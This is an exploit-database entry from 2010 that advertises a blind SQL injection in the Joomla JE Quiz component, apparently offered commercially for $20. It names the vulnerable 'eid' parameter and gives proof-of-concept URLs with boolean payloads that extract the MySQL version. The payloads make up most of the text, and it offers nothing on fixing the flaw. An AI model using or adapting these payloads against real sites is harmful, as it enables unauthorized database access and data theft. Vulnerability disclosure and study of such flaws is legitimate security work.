Joomla Component JE Quiz Blind SQL Injection Vulnerability

2010-01-29T00:00:00
ID 1337DAY-ID-10733
Type zdt
Reporter B-HUNT3|2
Modified 2010-01-29T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
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Joomla Component JE Quiz Blind SQL Injection Vulnerability
==========================================================

[~]>> ...[BEGIN ADVISORY]...
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> PROOF OF CONCEPT:
 
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163
 
[~]>> {RETURN TRUE::RETURN FALSE}
 
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163
[~]>> http://server/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!



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